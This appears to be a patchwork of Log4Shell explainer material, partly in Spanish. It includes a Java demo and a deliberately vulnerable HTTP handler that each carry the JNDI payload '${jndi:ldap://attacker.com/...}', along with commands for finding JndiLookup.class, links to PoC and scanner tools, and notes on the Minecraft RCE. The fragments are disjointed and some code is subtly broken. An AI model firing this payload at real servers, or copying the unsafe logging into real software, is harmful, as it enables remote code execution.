log4j2.formatMsgNoLookups=True

package demo;

import org.apache.logging.log4j.LogManager;

import org.apache.logging.log4j.Logger;

public class demo {

    public static Logger logger= LogManager.getLogger();

    public static void main(String[] args){

        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");

        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        logger.error("${jndi:ldap://attacker.com/test}");

    }

}

sudo grep -r --include "*.jar" JndiLookup.class /

findstr /s /i /c:"JndiLookup.class" C:\*.jar

Se han publicado varias herramientas para el análisis de dominios:

• https://github.com/fullhunt/log4j-scan
• https://github.com/alexandre-lavoie/python-log4rce
• https://github.com/nice0e3/log4j_POC

• Fallo CRÍTICO detectado en Minecraft en TODAS sus versiones hasta la 1.17
• Permite RCE tanto en el servidor como en todos los clientes.
• Se puede explotar con sólo enviar un mensaje en el chat

import org.apache.log4j.Logger;

import java.io.*;

import java.sql.SQLException;

import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**

   * A simple HTTP endpoint that reads the request's User Agent and logs it back.

   * This is basically pseudo-code to explain the vulnerability, and not a full example.

   * @param he HTTP Request Object

   */

  public void handle(HttpExchange he) throws IOException {

    string userAgent = he.getRequestHeader("user-agent");

    

    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.

    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}

    log.info("Request User Agent:" + userAgent);

    String response = "<h1>Hello There, " + userAgent + "!</h1>";

    he.sendResponseHeaders(200, response.length());

    OutputStream os = he.getResponseBody();

    os.write(response.getBytes());

    os.close();

  }

}